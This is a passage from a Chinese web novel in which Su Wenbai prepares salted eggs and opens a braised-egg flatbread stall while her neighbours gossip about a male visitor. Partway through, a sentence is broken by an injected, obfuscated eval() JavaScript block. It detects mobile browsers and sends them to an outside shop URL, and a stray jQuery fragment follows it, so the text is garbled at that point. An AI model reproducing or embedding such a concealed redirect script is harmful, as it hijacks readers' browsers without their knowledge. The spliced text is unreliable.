两人聊得正开心,屋外忽然狂风大作,咆哮着,怒吼着,像鞭子一样狠命地抽打窗户,发出尖锐的呼呼声。
“好大的风啊,怕是要下大暴雨。”沈初菡手捏着桌脚,转过头看着窗外。
刘嬷嬷应道:“我去把窗户关了,不然一会儿……”
刘嬷嬷话没说完,支窗的叉竿忽然“当”得一声掉落,紧接着倾盆大雨从天上漫下来,耳边只有哗哗的响声。
刘嬷嬷赶忙把窗户关严实了,转过身说:“这雨怕是一时半会不会停。”
沈初菡随口接过刘嬷嬷的话说:“我倒是让我想起我们老家的说法。重阳将至,盲雨满城,凉风四起,亭皋落叶,陇首飞云。我们觉得这是天冷的第一个信号,所以叫做‘重阳信’,日后只怕会一日冷过一日。”
沈娘子一语成谶,重阳日后,天气一下子凉了下来。
坐吃山空不是办法,经过这一通折腾,苏问白手上的银两已经所剩无几,三个月后又要交新一季的房租,再找不到生财之道就要喝西北风了。
苏问白开始了每日早出晚归的生活,今日蹲这条街,明日守那条巷子口,时不时的,等到天快黑就背些锅碗瓢盆、粮油米面回家。
第三日,苏问白依然晃悠到太阳要落山才回家。
苏问白还没走近,就看见柳昱站在门口来来回回打转,脚步显得很烦躁,双手也不自觉地在身前搓捏。
“柳郎君?”苏问白走近几步,试探地问,“是来找沈娘子的?”
“随便逛逛,逛逛,”柳昱也知道自己找了个烂借口,眼神越过苏问白,正好看到她身后的大阵仗,惊讶出声,“苏小娘子,这几个大坛子?”
“街上看到有人叫卖腌蛋,所以想着买几个大坛子做腌蛋,拜托店里伙计送回来。”苏问白解释道。
“腌蛋?”柳昱眼神上下飘忽两下,接着眉头一松笑着说道,“说起腌蛋,前几天有人送了我两筐新下的鸭蛋,我正愁吃也吃不完,放也没地方放,不如借花献佛送给苏小娘子,也算物尽其用。”
苏问白想也不想就拒绝说:“那怎么好意思,柳郎君……”
“苏小娘子不必客气,那些东西在我这是明珠暗投。况且到时候我也有借口到你这讨要腌蛋吃。”
话说到这个份上,苏问白也没有理由拒绝,笑着应了。
今日去买推车回来时,顺道上看见折价出售的坛子。又想到秋日正是鸭蛋肥美的时候,等日后闲了,做些腌蛋存在坛子里,待到天凉了佐粥,老少皆宜。
白得了柳郎君两筐鸭蛋,想躲懒都不成,这腌蛋得马上做起来。
刘嬷嬷看到苏问白引车入门,哐哐当当一阵折腾,待到所有声息平静下来,她方才小心翼翼地出门左右张望了几下。
刘嬷嬷回到正屋,绿露不解地问:“嬷嬷为什么不让柳郎君进来啊?”
刚才她明明听见柳郎君喊门,正要去开门,却被刘嬷嬷拦下说不见,她现在一肚子疑惑。
“柳郎君是外男,我们一屋子都是女眷,不好多往来,要落人口舌的。”
“可是以前的时候……”绿露还是不解。
“绿露,”刘嬷嬷强硬地打断她的话,扯出一个生硬的笑,“中午的时候,隔壁李书生家的娘子送来两盘菊花糕,我们给你留了,你去拿吧。”
绿露嘴里嘟嘟囔囔地出去了。明明以前柳郎君经常上门,而且每次都会带好吃的,小娘子也很开心,怎么现在没过几天态度转变这么大。
“娘子,您是有婚约在身的人,这左邻右舍又不是关上门闭着眼过日子,今天东边这家锅打破了,明天最西边那家都知道了。要是传出去什么风言风语,会妨碍你的名声。”
刘嬷嬷继续苦口婆心,“待郎君明年春闱回来,你们就会如约完婚,我也算不负所托。”
刘嬷嬷说完,沈初菡一声不吭。刘嬷嬷定睛一看,气了个仰倒。桌上摆了一小碟炸豌豆,她正在那一粒粒地数豌豆玩,从东边的盘子拨到西边盘子,又从从西边的盘子拨到东边盘子,来来回回,摆明了一个字没听进去。
正好绿露捧着菊花糕进来,刘嬷嬷一袋子话全咽进肚子,适时转了话题。
“这几日苏小娘子每日早出晚归的,昨天刚有人送了几十鸡蛋并几个大锅,今天干脆买了个板车还有好几个大坛子,她这是要开食肆吗?”
“我们不过租了个屋子,苏小娘子要干什么,无论是开食肆还是其他,没有理由插手,”沈初菡神色厌厌的,提不起精神,却也愿意搭话,“而且,你要真想知道,不如直接去问,她定然直言相告。”
绿露一听“食肆”两个字很兴奋,眼睛都亮了,“苏小娘子上次的花糕好吃,不知道什么时候才能再吃到。如果她真开食肆,我一定每日光顾。”
刘嬷嬷见没人支持她,坚持说道:“可是,她这样每日进进出出的,人多眼杂……”
“苏小娘子刚搬来,要置办物件太正常不过了,”绿露脑子缺根筋,不以为意的说,“刘嬷嬷要是不放心,我明天去问她要不要帮忙。娘子,你说好不好?”
沈初菡忍俊不禁,温柔地点头,“好,确实应该问问。”
刘嬷嬷被这对主仆打败,彻底没声了。
重阳日过,天气不冷不热,早起似乎没前段日子那般燥热煎熬。
天微微亮,苏问白早早地就来到东角街南巷口,摆起炉子。
这是她几日里精挑细选,最终选定的地方。
这里是去书院和衙门的必经之路,虽然在周边的街巷中算不得特别繁华,但每天早上都有固定的客流量。早起去书院的秀才举人们和去官衙应卯的官员们都得经过这。
府城繁华,哪里都不缺做生意的人,苏问白来得很早,但是巷口已经摆上了摊子。
平江城的百姓少不得一口阳春面,卖面的胡家夫妻早早支起了摊子,汤锅林立,烟雾缭绕。还有卖包子的许大,推着烤桶卖烤烧饼的孙二娘以及挎着篮子卖糕团的张家阿嫂。
时候不早,苏问白也铺开了摊子,她面前立着两个炉子,左边那个炉子上摆着一个大锅,阵阵卤香从锅沿的缝隙间偷跑出来,掀开盖子,里面卤蛋和卤干在不停地翻滚,带动着香气直往上蹿,不一会儿整个区域都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838810|211570||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
弥漫在卤香中。
右边那个炉子上摆着一个平底饼铛,整齐摆放着六个白馍,隔一会儿就翻个面,等到有似焦未焦的面香,才算到了火候。
或许是有人觉得突然来了个新鲜花样,或许是有人觉得新来的小娘子甚是好看,也或者是这浓郁的香味引人驻足,小摊子前围了不少人。
苏问白拿起一个煎得两面焦黄的白馍,从中间破开,先铺一层秘制的辣酱,放上切得细碎的玫瑰大头菜丝,最后从锅中捞出卤蛋和卤干,乘着热气未散斜切几刀,带着卤汁直接裹入白馍中,塞到叠好的油纸口袋里。
三两下子一个蛋夹馍就成型了。
一书生模样的的青衣男子忍不住率先出声,“这是什么?”
“这是蛋夹馍,用白馍夹上卤蛋卤干和小菜。”苏问白回答得很爽利。
“多少钱一个?”
苏问白却不出声,伸手指了下挂在桌前的木板,上书“蛋菜夹馍,一个八文”八个大字。她又伸手指向桌上的小竹篮,示意把钱放在这里。
那青衣书生痛快地掏出八个大钱,放进竹篮里。虽然隔壁一碗鸡蛋阳春面也不过五文,烧饼包子只要两文,但他心里倒觉得划算。小娘子动作利索,也不碰银钱,倒是干净。用油纸包着直接带走,时间急的时候就更方便了。
才拿到手,青衣书生就着热气咬了一口,外皮酥脆,卤蛋卤干层次分明有嚼劲,辣酱刚入口被卤汁盖住只觉得咸香,吃完后后劲才上,早起昏昏沉沉的,被这辣味一冲,清醒了不少。
周围的人看那青衣书生吃得又急又快,赞不绝口,还有什么不明白的,赶忙掏钱往竹篮里掷。
旁边的人也闻风而动,一时间小摊子前里三层外三层围满了。
因为不清楚行情,苏问白总共准备了五十只卤蛋卤干,一个时辰的工夫,大锅里只剩汤水,再捞不出来东西。
此时天色还未大亮,太阳才刚露出一角。
苏问白把最后两个馍送到一个年轻官员手里。
“多谢小娘子,某赶着点卯。”那年轻官员接过来只留这一句,一溜烟跑进府衙大门。
苏问白合上锅盖,无奈地说:“多谢大家捧场,今早的卖完了。”
还在排队的人群传来一阵阵叹息,不过也没办法,只能渐渐散去。
“小娘子明天还来吗?”一书生不甘心地问。
苏问白抬起手背理了理头发,眉目如画,笑靥生春,“我下午酉时还在这里。”
那书生被她看得竟一时结巴,红着脸说:“那……那某……散学再来。”
说完踉踉跄跄后退几步,接着转身跑了。苏问白被他这一系列动作惊得笑容僵在脸上。
自己笑得很吓人吗?昨日晚上对着镜子练了好一会儿,才练出这标准八颗牙微笑,绝对热情洋溢。莫非是这里的人不喜欢热情这一款的?也是,江南地区应该偏好婉约那一派,那下次就笑不露齿试一试。
虽然思绪不知飘到几万里外,苏问白手上却没歇着,调料和小菜罐子先收好,两个炉子歇了,用抹布清理台面,全部装上推车,收摊。